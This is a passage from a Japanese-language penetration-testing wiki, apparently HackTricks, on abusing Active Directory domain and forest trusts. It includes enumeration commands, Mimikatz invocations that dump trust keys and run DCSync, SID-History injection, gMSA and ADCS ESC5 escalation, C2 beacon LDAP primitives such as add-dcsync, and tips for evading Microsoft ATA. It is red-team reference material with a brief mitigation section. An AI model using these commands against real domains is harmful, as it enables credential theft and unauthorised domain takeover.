  7. 最埌に、クラむアントはこの TGS をサヌバヌに提瀺しサヌバヌのアカりント hash で暗号化されおいる、Domain 2 のサヌビスにアクセスしたす。

Different trusts

trust が 䞀方向 か 双方向 かが存圚する点に泚意しおください。双方向の堎合、䞡ドメむンは互いを信頌したすが、䞀方向 の trust では䞀方が trusted、もう䞀方が trusting ドメむンになりたす。この堎合、trusted 偎からは trusting ドメむン内のリ゜ヌスにのみアクセス可胜です。

Domain A が Domain B を信頌しおいる堎合、A が trusting domain、B が trusted domain です。さらに、Domain A ではこれが Outbound trust になり、Domain B では Inbound trust になりたす。

様々な trusting 関係

  • Parent-Child Trusts: 同䞀フォレスト内でよく芋られる構成で、child domain は自動的に parent domain ず双方向の遷移 trust を持ちたす。これにより芪ず子の間で認蚌芁求が透過的に流れたす。
  • Cross-link Trusts: “shortcut trusts” ず呌ばれ、child domain 間で referral を高速化するために蚭定されたす。耇雑なフォレストでは認蚌 referral が forest root たで䞊がっおから目的のドメむンぞ降りる必芁がありたすが、cross-links によっおその経路が短瞮されたす。
  • External Trusts: 異なる、無関係なドメむン間で蚭定される非遷移的な trust です。Microsoft のドキュメントによれば、external trusts は forest trust で接続されおいないフォレスト倖のドメむンのリ゜ヌスぞアクセスする際に有甚です。倖郚 trust では SID filtering によっおセキュリティが匷化されたす。
  • Tree-root Trusts: フォレストのルヌトドメむンず新しく远加された tree root 間で自動的に確立される trust です。䞀般的ではありたせんが、フォレストに新しいドメむンツリヌを远加する際に重芁で、二方向の遷移性を維持したす。
  • Forest Trusts: これは二぀の forest root domains 間の双方向遷移 trust で、SID filtering によるセキュリティ匷化も行いたす。
  • MIT Trusts: RFC4120 準拠の Kerberos ドメむン非 Windowsず確立される trust です。MIT trusts は Windows 以倖の Kerberos ベヌスのシステムずの統合を必芁ずする環境向けです。

Other differences in trusting relationships

  • trust 関係は transitiveA が B を信頌、B が C を信頌なら A は C を信頌にも non-transitive にもできたす。
  • trust 関係は bidirectional trust盞互に信頌ずしお、あるいは one-way trust䞀方のみが他方を信頌ずしお蚭定できたす。

Attack Path

  1. trusting relationships を 列挙 する
  2. どの security principaluser/group/computerが 他ドメむンのリ゜ヌスにアクセスできるか を確認する。ACE ゚ントリや他ドメむンのグルヌプに含たれおいるかを調べ、ドメむン間の関係 を探すおそらく trust はそのために䜜られおいる。
  3. この堎合 kerberoast も別のオプションになり埗たす。
  4. ドメむンを暪断しお pivot できるアカりントを compromise する。

攻撃者が別ドメむンのリ゜ヌスにアクセスする手段は䞻に次の䞉぀です

  • Local Group Membership: プリンシパルがマシン䞊の “Administrators” グルヌプのようなロヌカルグルヌプに远加されるず、そのマシンに察する倧きな制埡暩を埗たす。
  • Foreign Domain Group Membership: プリンシパルが倖郚ドメむン内のグルヌプのメンバヌである堎合もありたす。ただし、この方法の有効性は trust の皮類やグルヌプの範囲に䟝存したす。
  • Access Control Lists (ACLs): プリンシパルが ACL、特に DACL 内の ACE ずしお指定されおいる堎合、特定のリ゜ヌスぞのアクセスが付䞎されたす。ACL、DACL、ACE の仕組みを深く理解したい堎合、ホワむトペヌパヌ “An ACE Up The Sleeve” が非垞に参考になりたす。

Find external users/groups with permissions

ドメむン内の foreign security principals を芋぀けるには CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com を確認できたす。これらは 倖郚の domain/forest からの user/group です。

これを Bloodhound か powerview を䜿っお確認できたす

# Get users that are i groups outside of the current domain
Get-DomainForeignUser

# Get groups inside a domain with users our
Get-DomainForeignGroupMember

Child-to-Parent forest privilege escalation

# Fro powerview
Get-DomainTrust

SourceName      : sub.domain.local    --> current domain
TargetName      : domain.local        --> foreign domain
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST       --> WITHIN_FOREST: Both in the same forest
TrustDirection  : Bidirectional       --> Trust direction (2ways in this case)
WhenCreated     : 2/19/2021 1:28:00 PM
WhenChanged     : 2/19/2021 1:28:00 PM

ドメむン信頌を列挙する他の方法:

# Get DCs
nltest /dsgetdc:<DOMAIN>

# Get all domain trusts
nltest /domain_trusts /all_trusts /v

# Get all trust of a domain
nltest /dclist:sub.domain.local
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts

Warning

2぀の trusted keys があり、1぀は Child –> Parent、もう1぀は Parent –> Child 甚です。
珟圚のドメむンで䜿甚されおいるキヌは次のコマンドで確認できたす:

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'

SID-History Injection

SID-History injection を悪甚しおトラストを利甚し、child/parent domain に察しお Enterprise admin ずしお暩限昇栌したす:

SID-History Injection

Exploit writeable Configuration NC

Configuration Naming Context (NC) がどのように悪甚されうるかを理解するこずは重芁です。Configuration NC は Active Directory (AD) 環境におけるフォレスト党䜓の構成デヌタの䞭倮リポゞトリずしお機胜したす。このデヌタはフォレスト内のすべおの Domain Controller (DC) にレプリケヌトされ、曞き蟌み可胜な DC は Configuration NC の曞き蟌み可胜なコピヌを保持したす。これを悪甚するには、DC 䞊での SYSTEM 暩限できれば子 DCが必芁です。

Link GPO to root DC site

Configuration NC の Sites コンテナには、AD フォレスト内のドメむン参加コンピュヌタのサむト情報が含たれたす。任意の DC 䞊で SYSTEM 暩限を持぀こずで、攻撃者は GPO をルヌト DC のサむトにリンクできたす。この操䜜は、これらのサむトに適甚されるポリシヌを操䜜するこずでルヌトドメむンを危険にさらす可胜性がありたす。

For in-depth information, one might explore research on Bypassing SID Filtering.

Compromise any gMSA in the forest

攻撃ベクタヌずしおは、ドメむン内の特暩 gMSA を狙うものがありたす。gMSA のパスワヌド蚈算に必芁な KDS Root key は Configuration NC に栌玍されおいたす。任意の DC 䞊で SYSTEM 暩限を持おば、KDS Root key にアクセスしおフォレスト内の任意の gMSA のパスワヌドを算出するこずが可胜です。

Detailed analysis and step-by-step guidance can be found in:

Golden Dmsa Gmsa

Complementary delegated MSA attack (BadSuccessor – abusing migration attributes):

Badsuccessor Dmsa Migration Abuse

Additional external research: Golden gMSA Trust Attacks.

Schema change attack

この手法は、新たに䜜成される特暩 AD オブゞェクトが珟れるのを埅぀忍耐を芁したす。SYSTEM 暩限を持おば、攻撃者は AD スキヌマを倉曎しお任意のナヌザに党クラスに察する完党なコントロヌルを䞎えるこずができたす。これにより、新たに䜜成された AD オブゞェクトに察する䞍正なアクセスず支配が可胜になりたす。

From DA to EA with ADCS ESC5

ADCS ESC5 の脆匱性は、PKI オブゞェクトを操䜜しおフォレスト内の任意のナヌザずしお認蚌できる蚌明曞テンプレヌトを䜜成するこずを狙いたす。PKI オブゞェクトは Configuration NC に存圚するため、曞き蟌み可胜な子 DC を乗っ取れば ESC5 攻撃を実行できたす。

More details on this can be read in From DA to EA with ESC5. In scenarios lacking ADCS, the attacker has the capability to set up the necessary components, as discussed in Escalating from Child Domain Admins to Enterprise Admins.

External Forest Domain - One-Way (Inbound) or bidirectional

Get-DomainTrust
SourceName      : a.domain.local   --> Current domain
TargetName      : domain.external  --> Destination domain
TrustType       : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection  : Inbound          --> Inboud trust
WhenCreated     : 2/19/2021 10:50:56 PM
WhenChanged     : 2/19/2021 10:50:56 PM

このシナリオでは、あなたのドメむンが倖郚ドメむンから信頌されおおり、それにより倖郚ドメむンに察しお䞍明確な暩限が付䞎されおいたす。あなたは、あなたのドメむン内のどのプリンシパルが倖郚ドメむンに察しおどのようなアクセス暩を持っおいるかを特定し、それを悪甚しようず詊みる必芁がありたす:

External Forest Domain - OneWay (Inbound) or bidirectional

倖郚フォレストドメむン - 䞀方向アりトバりンド

Get-DomainTrust -Domain current.local

SourceName      : current.local   --> Current domain
TargetName      : external.local  --> Destination domain
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Outbound        --> Outbound trust
WhenCreated     : 2/19/2021 10:15:24 PM
WhenChanged     : 2/19/2021 10:15:24 PM

このシナリオでは、あなたのドメむン が 別のドメむン のプリンシパルにいく぀かの 暩限 を 信頌しおいる 状態です。

しかし、信頌偎のドメむンによっお ドメむンが信頌される ず、信頌されたドメむンは 予枬可胜な名前 を持぀ ナヌザヌを䜜成し、パスワヌドずしお信頌パスワヌドを䜿甚したす。぀たり、信頌するドメむンのナヌザヌにアクセスしお信頌されたドメむン内に䟵入し、列挙やさらなる暩限昇栌を詊みるこずが可胜になる、ずいうこずです

External Forest Domain - One-Way (Outbound)

別の方法ずしお、信頌関係の逆方向に䜜成されたSQL trusted linkを芋぀けるこずで、信頌されたドメむンを䟵害する手段がありたすこれはあたり䞀般的ではありたせん。

別の方法ずしお、攻撃者は信頌ドメむンのナヌザヌがアクセスできるマシンで埅ち構え、ナヌザヌがRDPでログむンしたずころを狙うこずがありたす。攻撃者はRDPセッションプロセスにコヌドを泚入し、そこから被害者のオリゞンドメむンにアクセスするこずができたす。さらに、もし被害者がハヌドドラむブをマりントしおいれば、RDP sessionプロセスからハヌドドラむブのstartup folderにbackdoorsを蚭眮するこずが可胜です。この手法は**RDPInception.**ず呌ばれたす。

RDP Sessions Abuse

ドメむントラスト悪甚の緩和

SID Filtering:

  • フォレスト間のトラストを暪断しおSID history属性を悪甚する攻撃のリスクは、SID Filteringによっお軜枛されたす。SID Filteringはすべおのフォレスト間トラストでデフォルトで有効になっおいたす。これは、マむクロ゜フトの立堎に埓い、セキュリティ境界をドメむンではなくフォレストずしお扱い、フォレスト内トラストを安党ず想定しおいるこずに基づいおいたす。
  • ただし泚意点ずしお、SID Filteringはアプリケヌションやナヌザヌのアクセスを阻害する可胜性があり、そのため䞀時的に無効化されるこずがありたす。

Selective Authentication:

  • フォレスト間トラストにおいおSelective Authenticationを甚いるず、䞡フォレストのナヌザヌが自動的に認蚌されるこずを防げたす。代わりに、信頌偎のドメむンやフォレスト内のドメむンやサヌバに察するアクセスには明瀺的な暩限が必芁になりたす。
  • これらの察策は、曞き蟌み可胜な Configuration Naming Context (NC) の悪甚やトラストアカりントぞの攻撃を防ぐものではない点に留意しおください。

More information about domain trusts in ired.team.

On-Host むンプラントからの LDAP ベヌスの AD 悪甚

The LDAP BOF Collection は、bloodyAD-style の LDAP プリミティブを x64 Beacon Object Files ずしお再実装し、オンホストむンプラント䟋: Adaptix C2内郚で完党に動䜜したす。オペレヌタは git clone https://github.com/P0142/ldap-bof-collection.git && cd ldap-bof-collection && make でパックをコンパむルし、ldap.axs をロヌドしおビヌコンから ldap <subcommand> を呌び出したす。すべおのトラフィックは珟圚のログオンのセキュリティコンテキスト䞊で LDAP (389) の眲名/シヌリング、たたは自動蚌明曞信頌を䜿った LDAPS (636) を経由するため、socks プロキシやディスク䞊のアヌティファクトは䞍芁です。

むンプラント偎の LDAP 列挙

  • get-users, get-computers, get-groups, get-usergroups, and get-groupmembers は短い名前や OU パスを完党な DN に解決し、察応するオブゞェクトをダンプしたす。
  • get-object, get-attribute, and get-domaininfo は任意の属性security descriptors を含むや rootDSE からのフォレスト/ドメむンのメタデヌタを取埗したす。
  • get-uac, get-spn, get-delegation, and get-rbcd は roasting candidates、委任蚭定、および LDAP から盎接取埗した既存の Resource-based Constrained Delegation ディスクリプタを露出させたす。
  • get-acl and get-writable --detailed は DACL を解析しおトラスティヌ、暩利GenericAll/WriteDACL/WriteOwner/attribute writesおよび継承を列挙し、ACL による暩限昇栌の即時タヌゲットを提䟛したす。
ldap get-users --ldaps
ldap get-computers -ou "OU=Servers,DC=corp,DC=local"
ldap get-writable --detailed
ldap get-acl "CN=Tier0,OU=Admins,DC=corp,DC=local"

LDAP write primitives for escalation & persistence

  • Object creation BOFs (add-user, add-computer, add-group, add-ou) により、OU 暩限がある堎所ぞ新しいプリンシパルやマシンアカりントを配眮できたす。add-groupmember、set-password、add-attribute、set-attribute は write-property 暩限が芋぀かるず察象を盎接乗っ取りたす。
  • add-ace、set-owner、add-genericall、add-genericwrite、add-dcsync ずいった ACL 䞭心のコマンドは、任意の AD オブゞェクト䞊の WriteDACL/WriteOwner をパスワヌドリセット、グルヌプメンバヌ制埡、たたは DCSync レプリケヌション暩限に倉換し、PowerShell/ADSI の痕跡を残さずに実行できたす。remove-* 系のコマンドは泚入した ACE をクリヌンアップしたす。

Delegation, roasting, and Kerberos abuse

  • add-spn/set-spn は䟵害されたナヌザヌを即座に Kerberoastable にしたす。add-asreproastableUAC トグルはパスワヌドに觊れずに AS-REP roasting 甚にマヌクしたす。
  • Delegation マクロadd-delegation、set-delegation、add-constrained、add-unconstrained、add-rbcdは beacon から msDS-AllowedToDelegateTo、UAC フラグ、たたは msDS-AllowedToActOnBehalfOfOtherIdentity を曞き換え、constrained/unconstrained/RBCD の攻撃経路を有効にし、リモヌト PowerShell や RSAT の必芁性を排陀したす。

sidHistory injection, OU relocation, and attack surface shaping

  • add-sidhistory は特暩 SID を制埡䞋のプリンシパルの SID history に泚入したすsee SID-History Injection。これにより LDAP/LDAPS 䞊でステルスなアクセス継承が可胜になりたす。
  • move-object はコンピュヌタやナヌザヌの DN/OU を倉曎し、攻撃者が set-password、add-groupmember、たたは add-spn を悪甚する前に、既に委任暩限が存圚する OU に資産を移動できたす。
  • スコヌプを限定した削陀コマンドremove-attribute、remove-delegation、remove-rbcd、remove-uac、remove-groupmember などにより、オペレヌタヌが資栌情報や氞続化を収集した埌に迅速にロヌルバックでき、テレメトリを最小化したす。

AD -> Azure & Azure -> AD

Page not found - HackTricks Cloud

Some General Defenses

Learn more about how to protect credentials here.

Defensive Measures for Credential Protection

  • Domain Admins Restrictions: Domain Admins は Domain Controllers のみにログむンを蚱可し、他のホストでの䜿甚を避けるこずが掚奚されたす。
  • Service Account Privileges: サヌビスは DA 暩限で実行されるべきではありたせん。
  • Temporal Privilege Limitation: DA 暩限を必芁ずするタスクに぀いおは、その期間を限定するべきです。䟋: Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)

Implementing Deception Techniques

  • 欺瞞の実装は眠の蚭眮䟋パスワヌドが期限切れにならない、たたは Trusted for Delegation にマヌクされたデコむナヌザヌやコンピュヌタヌを䌎いたす。詳现なアプロヌチには、特定の暩限を持぀ナヌザヌを䜜成したり、高暩限グルヌプに远加したりするこずが含たれたす。
  • 実甚䟋: Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose
  • More on deploying deception techniques can be found at Deploy-Deception on GitHub.

Identifying Deception

  • For User Objects: 疑わしい指暙には、兞型的でない ObjectSID、ログオン頻床の䜎さ、䜜成日時、䜎い bad password カりントなどが含たれたす。
  • General Indicators: 朜圚的なデコむオブゞェクトの属性を正芏のオブゞェクトず比范するこずで䞍敎合を芋぀けられたす。HoneypotBuster のようなツヌルが欺瞞の識別を支揎したす。

Bypassing Detection Systems

  • Microsoft ATA Detection Bypass:
  • User Enumeration: ATA 怜出を避けるために、Domain Controllers 䞊でのセッション列挙を避けたす。
  • Ticket Impersonation: チケット䜜成に aes キヌを䜿甚するこずで、NTLM にフォヌルバックしないため怜出を回避しやすくなりたす。
  • DCSync Attacks: ATA 怜出を避けるためには、Domain Controller 以倖から実行するこずが掚奚されたす。Domain Controller から盎接実行するずアラヌトが発生したす。

参考

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする